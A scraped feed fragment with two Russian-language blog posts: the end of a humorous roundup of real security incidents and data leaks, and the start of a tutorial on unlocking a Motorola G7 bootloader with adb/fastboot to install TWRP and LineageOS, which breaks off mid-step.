  &lt;p&gt; Женщину встретили радушно и провели по всем кабинетам, куда она требовала доступ. Охранников не смутила даже просьба пустить ее в центр управления IT-системами и серверную – якобы посмотреть, нет ли там плесени. При этом ей разрешили взять с собой телефон и делать фото, а вдобавок часто оставляли одну.&lt;/p&gt;
  &lt;p&gt; В результате Рита Стрэнд (так звали «инспектора») беспрепятственно собрала информацию обо всей инфраструктуре тюрьмы: точках доступа, ПК, физических мерах защиты. И взломала все компьютеры, которые попались на пути, подключив к ним «резиновые уточки» (USB Rubber Ducky) для перехвата данных. Ей удалось добраться даже до ПК начальника тюрьмы, который сам (!) пригласил женщину в свой кабинет. На все про все у Риты ушло 45 минут.&lt;/p&gt;
  &lt;p&gt; Самое смешное, что у Риты Стрэнд абсолютно не было навыков хакера. Она всю жизнь проработала в общепите и в «шпионских» делах никогда не участвовала. А взломать систему безопасности тюрьмы вызвалась вместо сына, ИБ-эксперта Джона Стрэнда, который должен был устроить учреждению пентест. Это он снабдил ее «USB-утками» и всеми инструкциями, но сам не ожидал, что проникновение удастся так просто. Историей он &lt;a href=&quot;https://www.wired.com/story/hackers-mom-broke-into-prison-wardens-computer/&quot; target=&quot;_blank&quot;&gt;поделился &lt;/a&gt;на профильной конференции шесть лет спустя, не раскрывая названия и расположения тюрьмы. Надо думать, тюремщикам и без того до сих пор неловко.&lt;/p&gt;
  &lt;h3&gt;2. Номинация «Tinder головного мозга» &lt;/h3&gt;
  &lt;p&gt; Героями этой истории стали сразу несколько десятков солдат израильской армии. Все они завели в сети приятные знакомства, а потом обнаружили, что сливают гостайну.&lt;/p&gt;
  &lt;p&gt; Инцидент получил огласку в этом феврале. Сообщалось, что с конца 2019 года в соцсетях и на сайтах знакомств солдатам стали активно писать девушки. Они с ходу были готовы делиться пикантными фото, правда, только в специальном защищенном приложении (а не то еще в сеть утекут!). Его и предлагали скачать по ссылке.&lt;/p&gt;
  &lt;p&gt; Те, кто поддался на уговоры, обнаруживали, что их смартфоны начинали вести себя странно. Активировалась передача данных, рос исходящий трафик, сами собой включались камера и диктофон. Скоро выяснилось, что «секретный чат» с фото – вредонос для удаленного управления телефоном, а «девушки» – хакеры ХАМАС. На протяжении нескольких месяцев они имели доступ к информации о местоположении пораженных устройств, фотографиям и контактам телефона.&lt;/p&gt;
  &lt;p&gt; Представители армии Израиля &lt;a href=&quot;https://www.bbc.com/russian/news-51530973&quot; target=&quot;_blank&quot;&gt;утверждают&lt;/a&gt;, что раскрыли схему почти сразу, но не реагировали, чтобы понаблюдать за ситуацией. И якобы никаких ценных данных к палестинским боевикам не утекло, потому что всех военных заранее предупредили об опасности. &lt;/p&gt;
  &lt;h3&gt;3. Номинация «Танец на граблях»&lt;/h3&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/7g/oj/au/7gojauwk6tbk2qb1vjaxzuphwe4.jpeg&quot; width=&quot;500&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Здесь могла бы быть любая из, наверное, уже сотен историй про незапароленный Elastic. Или MongoDB. Или любую другую БД, в которой пользователи не ставят пароли и, по сути, оставляют информацию в открытом доступе. Это действительно один из самых распространенных каналов утечек – в 2018 году так ушли 540 млн учеток Facebook (тогда соцсеть доверилась мексиканским аналитикам из Cultura Colectiva, а подрядчик не защитил сервер). В 2016-м утекла информация о 80% американцев, имеющих право голоса (это приватные данные 198 млн человек). &lt;/p&gt;
  &lt;p&gt; Но в этом году победа в номинации достается приложению Whisper. Оно позиционировалось как «самое надежное место в интернете», где пользователи могли анонимно делиться сокровенными секретами. А потом разработчики случайно &lt;a href=&quot;https://xakep.ru/2020/03/13/whisper-leak/&quot; target=&quot;_blank&quot;&gt;раскрыли &lt;/a&gt;данные 30 млн человек. Оказалось, что Whisper хранит архив по всем пользователям с 2012 года. &lt;/p&gt;
  &lt;p&gt; Из незапароленной базы в сеть утекло содержание «секретных» постов. А это рассказы о страхах, тайных желаниях, признания в аморальных и преступных поступках, интимные секреты. Но главное – в открытом доступе оказалась информация об учетных данных пользователей (никнеймы, привязанные к ним email и телефоны), их возрасте, национальности и местоположении при последней авторизации. Порой геоданных хватало, чтобы установить конкретный жилой район и рабочее место. Около 1,3 млн скомпрометированных аккаунтов принадлежали подросткам до 15 лет. &lt;/p&gt;
  &lt;h3&gt;4. Номинация «Не вижу, значит не было»&lt;/h3&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/u2/qf/gk/u2qfgk0u00az9ds8lbgpfmjuosu.jpeg&quot; width=&quot;450&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; В начале нынешнего года казахстанская ИБ-компания «Центр анализа и расследования кибератак» &lt;a href=&quot;https://www.zakon.kz/5007366-obnaruzhena-utechka-dannyh-iz-bazy.html&quot; target=&quot;_blank&quot;&gt;сообщила &lt;/a&gt;в СМИ, что обнаружила крупную утечку данных из информационной системы генпрокуратуры Республики Казахстан. В свободном доступе в сети оказались персданные всех граждан Казахстана и иностранцев, в отношении которых в республике когда-либо заводили административные дела. Все их штрафы, предупреждения, адреса проживания, фотографии нарушителей, номера и данные техпаспортов их автомобилей. Более того, доступ к информационной системе прокуратуры оказался открыт из интернета, любой пользователь мог редактировать, удалять дела, заводить новые. Так как информационная система интегрирована со всеми сервисами электронного правительства страны, скомпрометированы могут быть внутренние данные любых госучреждений.&lt;/p&gt;
  &lt;p&gt; Исследователи отметили, что несколько раз связывались с ведомством, но так и не добились реакции. Даже после публичного раскрытия информации об уязвимости прокуратура Казахстана &lt;a href=&quot;https://tengrinews.kz/internet/soobschenie-utechke-dannyih-kazahstantsev-otvetili-391558/&quot; target=&quot;_blank&quot;&gt;стоит на своем&lt;/a&gt;: ничего подобного, «данные не доступны в сети Интернет в открытом виде». Удивительное упрямство.&lt;/p&gt;
  &lt;h3&gt;5. Номинация «За информационный эксгибиционизм»&lt;/h3&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/mt/n-/c8/mtn-c8up6pyfawcc7t9mt7hvcry.jpeg&quot; width=&quot;500&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Банковский служащий из Северной Каролины, США, украл со счетов клиентов более 88 тыс. долларов. Мужчина выводил средства с депозитов и подделывал документы, чтобы замести следы. Провернуть схему ему удалось как минимум 18 раз, за это время он неплохо улучшил свое положение и стал жить на широкую ногу. И все бы ничего, если бы не решил похвастаться успехами в Facebook и Instagram. &lt;/p&gt;
  &lt;p&gt; На странице американца стали регулярно появляться фото с пачками наличных, дорогим алкоголем, украшениями, авто. Фото пользовались популярностью – в конечном итоге ими заинтересовалась полиция.&lt;/p&gt;
  &lt;p&gt; К апрелю 2019-го дошло до суда, американцу грозит до 30 лет тюрьмы и штраф в 1 млн долларов. А материалы из соцсетей приобщили к делу. Например, пост, где мужчина позирует на фоне новенького Mercedes-Benz – фотография и чек на 20 тыс. долларов, которые он внес в качестве предоплаты за машину, &lt;a href=&quot;https://www.charlotteobserver.com/news/local/crime/article238347293.html&quot; target=&quot;_blank&quot;&gt;стали одной из улик &lt;/a&gt;обвинения. &lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/jm/7a/dm/jm7admctlowwttvgecesubvw-64.jpeg&quot; width=&quot;450&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Похожая история произошла в Колумбии с главой внутренней службы по контролю морских грузов. Омар Амбуила получал зарплату чиновника – 3 000 долларов в месяц. При этом его дочь, которая жила в Майами и держала скромный магазинчик мороженого, вела по-настоящему роскошный образ жизни. В ее Instagram регулярно появлялись фото с покупками от дорогих брендов, за рулем новых Lamborghini и Porsche, на отдыхе с лакшери-курортов.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/vi/rj/ws/virjwsavfer5kjsa09zfax2s-r4.jpeg&quot; width=&quot;450&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Беда настигла, когда среди подписчиков светской дивы появились полицейские. Через девушку вышли на ее отца и задали ему резонный вопрос: неужели такая дольче-вита по карману семье обычного госслужащего? Власти страны считают, что чиновник создал преступную сеть в колумбийском порту и получал многомиллионные взятки за провоз контрабанды. В апреле 2019 года Амбуила, его жену и дочь &lt;a href=&quot;https://www.dailymail.co.uk/news/article-6875269/Miami-social-media-influencer-arrested-Colombia-probe.html&quot; target=&quot;_blank&quot;&gt;арестовали &lt;/a&gt;– как раз на дорогом курорте. Что называется, спасибо фоткам за наводку.&lt;/p&gt;
  &lt;h3&gt;6. Номинация «Пицца как оружие судьбы»&lt;/h3&gt;
  &lt;p&gt; Прокалываются на мелочах не только неподкованные воришки, но и настоящие гранды киберпреступности.&lt;/p&gt;
  &lt;p&gt; Создатель одного из старейших DDoS-сервисов Quantum Stresser Дэвид Букоски с 2012 года успешно скрывался от властей. Его детище только в 2018 году позволило «положить» порядка 50 тыс. информационных систем по всему миру, всего на счету сервиса более 80 тыс. реализованных заказов на кибератаки. Хотя в 2018 году в ходе международной спецоперации сайт quantumstress[.]net был ликвидирован, правоохранители по-прежнему искали выходы на владельца и старались установить его личность.&lt;/p&gt;
  &lt;p&gt; «Кошки-мышки» затянулись, Дэвид расслабился. В начале 2020 года он решил заказать домой пиццу и оставил на сайте доставки контактный email… на который когда-то зарегистрировал свой домен. &lt;/p&gt;
  &lt;p&gt; Раньше адрес фигурировал в «черных списках» нескольких сервисов, которыми Дэвид пользовался для рекламы Quantum Stresser’а и приема платежей от клиентов. Когда компании остановили услуги, он направлял им официальные письма с просьбами объяснить отказ. Так полиция смогла узнать настоящее имя хакера. А заказ доставки раскрыл его домашний адрес. В итоге пицца с беконом и курицей &lt;a href=&quot;https://krebsonsecurity.com/2020/02/booter-boss-busted-by-bacon-pizza-buy/&quot; target=&quot;_blank&quot;&gt;обошлась &lt;/a&gt;Букоски в 5 лет лишения свободы условно.&lt;/p&gt;
  &lt;p&gt; Кстати, в 2012 году таким же заказом выдал себя другой кибергений – Юрий Коваленко, один из авторов знаменитого Zeus. В Лондоне он возглавлял ячейку «операторов» ботнета и спокойно работал, несмотря на ФБР «на хвосте», пока не &lt;a href=&quot;https://krebsonsecurity.com/2012/05/microsoft-to-botmasters-abandon-your-inboxes/&quot; target=&quot;_blank&quot;&gt;оставил &lt;/a&gt;онлайн-заявку на доставку обеда прямо в свою штаб-квартиру. Так что пицца – то еще оружие судьбы.&lt;/p&gt;
  &lt;h3&gt;7. Номинация «Кручусь, как умею»&lt;/h3&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/et/vl/zj/etvlzjsxopmzpf___m2h7wukzf0.jpeg&quot; width=&quot;450&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Встречаются люди, которые свято верят: если избить человека, а потом предложить ему нанять вас телохранителем, то он с радостью согласится. Звучит диковато в декорациях реального мира. Однако в мире виртуальном до сих пор есть такие персонажи. &lt;/p&gt;
  &lt;p&gt; Например, недавно сотрудники отдела «К» УМВД России по Вологодской области &lt;a href=&quot;https://www.securitylab.ru/news/505933.php&quot; target=&quot;_blank&quot;&gt;задержали &lt;/a&gt;неудачливого «пентестера». Как установило следствие, мужчина осуществил DDoS-атаку на интернет-магазин крупнейшего череповецкого предприятия. Задержанный признался, что специально нагрузил сайт – тестировал его на устойчивость, чтобы потом предложить владельцам свои услуги по защите от DDoS-атак.&lt;/p&gt;
  &lt;p&gt; Историй, над которыми можно посмеяться, хватает. Можно вспомнить свежий инцидент из Германии, где на eBay &lt;a href=&quot;https://www.securitylab.ru/news/505954.php&quot; target=&quot;_blank&quot;&gt;продали &lt;/a&gt;ноутбук со сверхсекретной инструкцией по уничтожению государственной системы ПРО. Можно вспомнить, как офицеры подразделений электронной разведки Армии обороны Израиля &lt;a href=&quot;https://tass.ru/mezhdunarodnaya-panorama/3121290&quot; target=&quot;_blank&quot;&gt;взломали &lt;/a&gt;сервер армейского отдела кадров для получения дополнительных и внеочередных отпусков, в том числе с оплаченным проживанием в гостиницах. А можно в целом удивиться, что за последние 4 года минобороны Великобритании &lt;a href=&quot;https://www.kp.by/daily/24276.5/472757/&quot; target=&quot;_blank&quot;&gt;потеряло &lt;/a&gt;уже почти 800 ноутбуков с военными тайнами. &lt;/p&gt;
  &lt;p&gt;Законный автор статьи: SearchInform_team&lt;/p&gt;
  &lt;h2&gt;&lt;strong&gt;by @it_ha&lt;/strong&gt;&lt;/h2&gt;

</content></entry><entry><id>it_ha:rJZ--5JM8</id><link rel="alternate" type="text/html" href="https://teletype.in/@it_ha/rJZ--5JM8?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=it_ha"></link><title>📱 Освободи свой Android</title><published>2020-01-29T23:10:48.724Z</published><updated>2020-01-29T23:10:48.724Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/fa/21/fa2174fa-eed2-4dc6-8b72-6b4fe50a5f70.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/fa/21/fa2174fa-eed2-4dc6-8b72-6b4fe50a5f70.png&quot;&gt;Некоторое время назад на Хабре вышла статья замечательной девушки fur_habr о проблемах безопасности, приватности и конфиденциальности мобильных коммуникаций и о путях решения этих проблем на платформе Android.</summary><content type="html">
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/fa/21/fa2174fa-eed2-4dc6-8b72-6b4fe50a5f70.png&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Некоторое время назад на Хабре вышла &lt;a href=&quot;https://habr.com/ru/post/465945/&quot; target=&quot;_blank&quot;&gt;статья&lt;/a&gt; замечательной девушки &lt;a href=&quot;https://habr.com/ru/users/fur_habr/&quot; target=&quot;_blank&quot;&gt;fur_habr&lt;/a&gt; о проблемах безопасности, приватности и конфиденциальности мобильных коммуникаций и о путях решения этих проблем на платформе Android.&lt;/p&gt;
  &lt;p&gt;В момент выхода этой статьи я как-то не обратил на неё внимания — тема смартфонов и Андроида мне вообще не очень интересна. Потом, уже через несколько месяцев, я вновь случайно наткнулся на эту статью, вчитался, и проникся идеями, содержащимися в ней. Действительно, почему бы не стать хозяином своему собственному смартфону?&lt;/p&gt;
  &lt;p&gt;Вашему вниманию предлагается отчёт об эксперименте, проведённым мной по мотивам инструкций из вышеозначенной статьи и о том, что из всего этого может получиться.&lt;/p&gt;
  &lt;h3&gt;&lt;/h3&gt;
  &lt;p&gt;&lt;strong&gt;Предупреждение 1&lt;/strong&gt;&lt;/p&gt;
  &lt;blockquote&gt; В этой статье рассматривается только техническая часть проблемы и не затрагиваются концептуальные, идеологические и прочие её аспекты. Нужно вам это или нет — решать только вам самим.&lt;/blockquote&gt;
  &lt;p&gt;&lt;strong&gt;Предупреждение 2&lt;/strong&gt;&lt;/p&gt;
  &lt;blockquote&gt; Вся информация в статье представлена исключительно в образовательных целях и если вы что-то делаете, то делаете это исключительно на свой страх и риск. Автор публикации не несёт ответственности за любые последствия ваших необдуманных действий.&lt;/blockquote&gt;
  &lt;p&gt;Начинаем. Итак, мы прочитали &lt;a href=&quot;https://habr.com/ru/post/465945/&quot; target=&quot;_blank&quot;&gt;статью&lt;/a&gt;, а затем вторую &lt;a href=&quot;https://habr.com/ru/post/452610/&quot; target=&quot;_blank&quot;&gt;статью&lt;/a&gt;, прониклись идеями, заложенными в них, и готовы провести практический эксперимент по освобождению своего Андроида (на самом деле эксперимент по освобождению себя от Андроида). С чего же начать?&lt;/p&gt;
  &lt;blockquote&gt;&lt;em&gt;Кстати, вы заметили, что суть Андроида заложена в самом его названии — это &lt;strong&gt;Andro ID&lt;/strong&gt;, то есть ваш универсальный (в смысле всех аспектов вашей жизни) идентификатор.&lt;/em&gt;&lt;/blockquote&gt;
  &lt;p&gt;Начнём мы с выбора аппарата для экспериментов. Проблема в том, что &lt;a href=&quot;https://lineageos.org/&quot; target=&quot;_blank&quot;&gt;LineageOS&lt;/a&gt; поддерживает очень небольшое количество устройств, причём в основном устаревших. В своей статье &lt;a href=&quot;https://habr.com/ru/users/fur_habr/&quot; target=&quot;_blank&quot;&gt;fur_habr&lt;/a&gt; рекомендует остановиться на &lt;strong&gt;Xiaomi Redmi 4(X)&lt;/strong&gt;, &lt;strong&gt;Xiaomi Redmi Note 4&lt;/strong&gt; или &lt;strong&gt;Xiaomi Mi A1&lt;/strong&gt;. При попытке поинтересоваться у продавцов наличием в продаже этих моделей, я получил в ответ круглые глаза, заверения, что таких древностей у них нет. Интернет только подтвердил диагноз — купить новый аппарат этих моделей практически невозможно, есть какие-то сомнительные предложения (1-2 экземпляра) непонятного происхождения и не факт, что подходящих для наших частот связи. В общем, это не наш путь.&lt;/p&gt;
  &lt;p&gt;Хорошо, эти аппараты нам не подходят, можно ли найти в &lt;a href=&quot;https://wiki.lineageos.org/devices/&quot; target=&quot;_blank&quot;&gt;списке &lt;/a&gt;поддерживаемых LineageOS устройств что-то подходящее? После тщательного просмотра всего списка устройств я не нашёл ни одного (нового, не б/у) смартфона, который можно было бы просто купить в обычном магазине или хотя бы заказать через интернет с быстрой доставкой.&lt;/p&gt;
  &lt;p&gt; Всё, на этом эксперимент можно было завершать. Как говорится, хороша Маша, да не наша. Но меня уже охватил спортивный азарт и отказываться от Маши не хотелось, поэтому я ещё раз прошерстил список и где-то на четвёртой или пятой итерации обратил внимание на модель &lt;strong&gt;Motorola G7&lt;/strong&gt;. По итогам, это практически единственный актуальный, доступный и подходящий нам аппарат из всего списка LineageOS.&lt;/p&gt;
  &lt;h2&gt;Motorola G7&lt;/h2&gt;
  &lt;p&gt;На тот момент мне было всё равно Motorola это или Rockola (смайл), аппарат выбирался для эксперимента и исключительно по двум критериям — он должен быть новым (зачем нам старый?), не б/у, и присутствовать в списке поддерживаемых LineageOS.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/ya/7r/io/ya7riokc5jgbzj9dbqlxsgwby0i.jpeg&quot; width=&quot;416&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Но в случае с Motorola G7 звёзды прямо сошлись: это свежий (2019 года) аппарат, официально поставляется в Россию, поддерживается LineageOS и, как потом оказалось, он ещё и весьма приличный смартфон и при этом относительно недорого стоит.&lt;/p&gt;
  &lt;p&gt; Пара слов о цене. Motorola G7 стартовал в апреле 2019 года по цене 20 тыс. рублей, на момент написания статьи его можно свободно купить за 11 тыс. рублей, в интернете есть сообщения, что кому-то удавалось купить его по акции за 9, 8, и даже 6 тыс. рублей (что просто даром).&lt;/p&gt;
  &lt;blockquote&gt; При этом он имеет на борту 4 ГБ оперативной и 64 ГБ встроенной памяти, NFC, отличный 2270х1080 дисплей 6.2&amp;quot;, лоток на две SIM карты плюс microSD, 2 камеры, сканер отпечатка пальца, USB Type-C, быструю зарядку, 9-й, т. н. «чистый» Android и много чего ещё, см. &lt;a href=&quot;https://www.motorola.com/ru/products/moto-g-gen-7&quot; target=&quot;_blank&quot;&gt;официальную страницу&lt;/a&gt; производителя. Как говорил один известный персонаж, да это просто праздник какой-то!&lt;/blockquote&gt;
  &lt;p&gt; Немного о модельном ряде. В линейке Moto G7 присутствуют четыре модели: &lt;strong&gt;G7 Play&lt;/strong&gt;, &lt;strong&gt;G7 Power&lt;/strong&gt;, просто &lt;strong&gt;G7&lt;/strong&gt; без индекса и &lt;strong&gt;G7 Plus&lt;/strong&gt;. Из всех четырёх моделей нашего внимания достойны только две последние, причём G7 Plus более интересный вариант, практически за те же деньги, что и G7. Но в нашем случае критерием выбора является присутствие смартфона в списке поддерживаемых LineageOS, а это только один вариант — Motorola G7.&lt;/p&gt;
  &lt;h2&gt;Покупка и первые впечатления&lt;/h2&gt;
  &lt;p&gt; Ну что ж, цена вопроса 11 тыс. рублей, не сказать что очень мало, но чего не сделаешь из любви к науке. Сказано — сделано, покупаем смартфон, распечатываем коробку — всё классно, тонкий современный смартфон, выглядит отлично, работает так, как ему и положено, никаких замечаний у меня к нему нет.&lt;/p&gt;
  &lt;p&gt; На борту так называемый «практически чистый» 9-й Android с некоторыми фирменными добавлениями и «фишками» от Моторолы. Не знаю, что подразумевали авторы термина «чистый Андроид», но по сути это зонд, принадлежащий компаниям производителям железа и софта (но никак не вам, по крайней мере до тех пор, пока у вас не будет root прав на устройстве), который отправляет каждый ваш чих на их сервера, а через трекеры, встроенные в приложения, и на десятки серверов по всему миру неустановленному кругу третьих лиц (смотри подробности в статьях &lt;a href=&quot;https://habr.com/ru/users/fur_habr/&quot; target=&quot;_blank&quot;&gt;fur_habr&lt;/a&gt;).&lt;/p&gt;
  &lt;p&gt; Да, картина, прямо скажем, удручающая. Можно ли как-то исправить это положение? Попробуем разобраться и переходим к хирургическим методам. Пациент готов. Ассистент, скальпель!&lt;/p&gt;
  &lt;h2&gt;Шаг 1. Разблокировка загрузчика&lt;/h2&gt;
  &lt;p&gt; Смартфон поставляется с заблокированным загрузчиком. Это означает, что вы не сможете установить на него стороннюю прошивку. Для того, чтобы установить на него LineageOS, вам нужно сначала разблокировать загрузчик.&lt;/p&gt;
  &lt;p&gt; Компания Motorola имеет специальную &lt;a href=&quot;https://motorola-global-portal.custhelp.com/app/standalone/bootloader/unlock-your-device-a&quot; target=&quot;_blank&quot;&gt;страницу&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt; для запросов на разблокирование её устройств. Нужно просто получить некоторые данные от вашего смартфона, отправить их производителю и в ответ он пришлёт вам код разблокировки. Как это сделать я сейчас опишу подробно.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/3a/cp/y4/3acpy49eqfl17oixymw2ijsoe7u.jpeg&quot; width=&quot;1036&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;&lt;em&gt;Примечание: здесь и далее речь будет идти о &lt;strong&gt;Windows 7 64-bit&lt;/strong&gt;, если у вас другая операционная система, то действия могут немного отличаться.&lt;/em&gt;&lt;/p&gt;
  &lt;p&gt;Прежде всего, у вас на компьютере должны быть установлены &lt;a href=&quot;https://support.motorola.com/in/en/drivers&quot; target=&quot;_blank&quot;&gt;драйвера&lt;/a&gt; Motorola для связи через USB порт. Также вам нужно скачать и установить &lt;a href=&quot;https://developer.android.com/studio/releases/platform-tools?hl=ru&quot; target=&quot;_blank&quot;&gt;Android platform-tools&lt;/a&gt; с &lt;strong&gt;adb&lt;/strong&gt; и &lt;strong&gt;fastboot&lt;/strong&gt;. Если вы будете работать не из директории platform-tools, то вам нужно добавить путь к ней в настройках Windows (Компьютер — Свойства — Дополнительные параметры системы — Переменные среды — Path).&lt;/p&gt;
  &lt;p&gt;Затем нужно активировать показ меню разработчика на телефоне (Настройки — О телефоне — Номер сборки) и несколько раз подряд тапнуть по этому пункту, пока не появится надпись, что вы стали разработчиком.&lt;/p&gt;
  &lt;p&gt;В меню разработчика (Настройки — Система — Для разработчиков) активируем «Отладку по USB», а в меню Настройки — Система — Для разработчиков — Отладка Android активируем «Android Debug Bridge (ADB)». После этого подключаем смартфон к компьютеру, запускаем окно с командной строкой (cmd) и вводим первую команду:&lt;/p&gt;
  &lt;pre&gt;&amp;gt;adb devices
&lt;/pre&gt;
  &lt;p&gt; Если всё сделано правильно, то в ответ система сообщит о найденном устройстве:&lt;/p&gt;
  &lt;pre&gt;List of devices attached
AH418JDANZ      device
&lt;/pre&gt;
  &lt;p&gt; Затем вводим команду перезагрузки смартфона в режим бутлоадера:&lt;/p&gt;
  &lt;pre&gt;&amp;gt;adb reboot bootloader
&lt;/pre&gt;
  &lt;p&gt; Далее проверяем видит ли компьютер подсоединённое устройство в этом режиме:&lt;/p&gt;
  &lt;pre&gt;&amp;gt;fastboot devices
AH418JDANZ      fastboot
&lt;/pre&gt;
  &lt;p&gt; Если всё нормально, то вводим команду на запрос кода для разблокировки:&lt;/p&gt;
  &lt;pre&gt;&amp;gt;fastboot oem get_unlock_data
&lt;/pre&gt;
  &lt;p&gt; В ответ смартфон должен выдать что-то вроде этого:&lt;/p&gt;
  &lt;pre&gt;(bootloader) 93A1958E29857298#
(bootloader) 405685468A0468F59638571E31040158805403469#
(bootloader) 7035F204E85348570698340A620968E34029663206#
(bootloader) 54269720984560184604890000000000
OKAY [  0.020s]
Finished. Total time: 0.022s
&lt;/pre&gt;
  &lt;p&gt; Далее просто склеиваем эту последовательность цифр в одну строку (надписи bootloader, скобки и пробелы удаляем, знаки # оставляем) и получается такая строка:&lt;/p&gt;
  &lt;pre&gt;93A1958E29857298#405685468A0468F59638571E31040158805403469#7035F204E85348570698340A620968E34029663206#54269720984560184604890000000000
&lt;/pre&gt;
  &lt;p&gt; На своей странице по разблокировке Motorola много раз предупреждает о последствиях разблокировки загрузчика (самое невинное из которых это потеря гарантии) — внимательно прочитайте эти предупреждения и ещё раз подумайте готовы ли вы взять на себя ответственность за возможные последствия ваших действий.&lt;/p&gt;
  &lt;p&gt; Если готовы, то смело вводим полученную последовательность и нажимаем кнопку отправки. В моём случае код разблокировки пришёл на почту практически сразу. Всё, теперь мы получили ключ от замка и всё зависит только от нас.&lt;/p&gt;
  &lt;p&gt; Фрагмент ответа из письма от сервиса разблокировки Motorola:&lt;/p&gt;
  &lt;pre&gt;Bootloader Unlock&amp;lt;#&amp;gt;
Here is the unique code to unlock the bootloader of your Motorola phone.
Unlock Code: 42UKUKYULUYDTRETMDFG
&lt;/pre&gt;
  &lt;p&gt; Далее нам нужно в меню разработчика включить функцию разрешения разблокировки загрузчика «Allow OEM Unlock» и ещё раз перезагрузить телефон. Затем подключаемся к смартфону так, как это было описано выше, и вводим команду для разблокировки загрузчика:&lt;/p&gt;
  &lt;pre&gt;&amp;gt;fastboot oem unlock 42UKUKYULUYDTRETMDFG
&lt;/pre&gt;
  &lt;p&gt; Получаем ответ в котором система предупреждает, что все ваши данные будут стёрты, соответственно, если у вас есть ценная информация, то вы должны прервать процесс и скопировать её в безопасное место (а лучше сделать это заранее):&lt;/p&gt;
  &lt;pre&gt;(bootloader) WARNING: This command erases all user data.
(bootloader) Please re-run this command to continue.
OKAY [ 0.004s]
Finished. Total time: 0.006s
&lt;/pre&gt;
  &lt;p&gt; И ещё раз вводим ту же команду:&lt;/p&gt;
  &lt;pre&gt;&amp;gt;fastboot oem unlock 42UKUKYULUYDTRETMDFG
&lt;/pre&gt;
  &lt;p&gt; И вот, наконец, сообщение об успешной разблокировке загрузчика:&lt;/p&gt;
  &lt;pre&gt;(bootloader) Bootloader is unlocked! Rebooting phone
OKAY [ 0.680s]
Finished. Total time: 0.681s
&lt;/pre&gt;
  &lt;p&gt; На этом первый этап нашего эксперимента можно считать завершённым, перезагружаем смартфон и получаем сообщение о том, что загрузчик разблокирован и безопасность нашего телефона находится под угрозой (ага). Сообщение держится на экране 5 секунд и затем смартфон загружается обычным образом.&lt;/p&gt;
  &lt;h2&gt;Шаг 2. Установка TWRP&lt;/h2&gt;
  &lt;p&gt; Переходим ко второй части марлезонского балета. Для того, чтобы установить LineageOS на смартфон, сначала нужно установить т. н. «кастом рекавери» (custom recovery) для проведения операций по очистке разделов смартфона, загрузки файлов, самой прошивки LineageOS и прочих операций. С &lt;strong&gt;TWRP&lt;/strong&gt; тоже не всё так просто. by @it_ha. Существует &lt;a href=&quot;https://twrp.me/&quot; target=&quot;_blank&quot;&gt;официальный сайт&lt;/a&gt; на котором присутствуют «официальные» сборки TWRP. Рекомендуется скачивать файлы именно с официального сайта, а не со сторонних ресурсов. Также не рекомендуется пользоваться сторонними сборками, поскольку они могут содержать в себе различные закладки.&lt;/p&gt;
  &lt;p&gt; В случае с Motorola G7 (о чудо!) существует свежее официальное TWRP, которое специально рассчитано на эту модель и устанавливается на телефон на раз-два, без каких-либо проблем. Значимость этого факта можно оценить, почитав форумы и стенания владельцев многих современных телефонов, например, популярного Samsung Galaxy A10 и всей линейки A20, A30, A40, A50… Этих моделей нет в официальном &lt;a href=&quot;https://twrp.me/Devices/&quot; target=&quot;_blank&quot;&gt;списке&lt;/a&gt; поддерживаемых устройств на сайте TWRP.&lt;/p&gt;
  &lt;p&gt; Переходим на &lt;a href=&quot;https://dl.twrp.me/river/&quot; target=&quot;_blank&quot;&gt;страницу&lt;/a&gt; нашего (воистину) замечательного Motorola G7 и скачиваем последнюю на данный момент сборку TWRP &lt;strong&gt;twrp-3.3.1-2-river.img&lt;/strong&gt;. В &lt;a href=&quot;https://wiki.lineageos.org/devices/river/install&quot; target=&quot;_blank&quot;&gt;официальной инструкции&lt;/a&gt; по установке LineageOS рекомендуется на компьютерах с Windows дополнительно выполнить команду&lt;/p&gt;
  &lt;pre&gt;fastboot set_active a
&lt;/pre&gt;
  &lt;p&gt; и принудительно сделать активным слот A. По их описанию это связано с ошибкой в реализации fastboot в Windows. И вообще, прежде чем что-то делать, &lt;strong&gt;настоятельно рекомендую внимательно ознакомиться с официальной инструкцией на этой странице — там всё написано правильно и очень подробно&lt;/strong&gt;. Правда на английском, но настоящего любителя мобильных коммуникаций это вряд ли остановит (здесь опять запрещённый смайл).&lt;/p&gt;
  &lt;p&gt; Ответ Motorola G7 на эту команду:&lt;/p&gt;
  &lt;pre&gt;Setting current slot to &amp;#x27;a&amp;#x27;
(bootloader) Slot already set active
OKAY [  0.001s]
Finished. Total time: 0.004s
&lt;/pre&gt;
  &lt;p&gt; Всё, на этом шутки закончились и любое неправильное действие может привести к окирпичиванию вашего драгоценного телефона. Далее действуем очень внимательно и аккуратно.&lt;/p&gt;
  &lt;p&gt; Вводим команду записи TWRP на устройство:&lt;/p&gt;
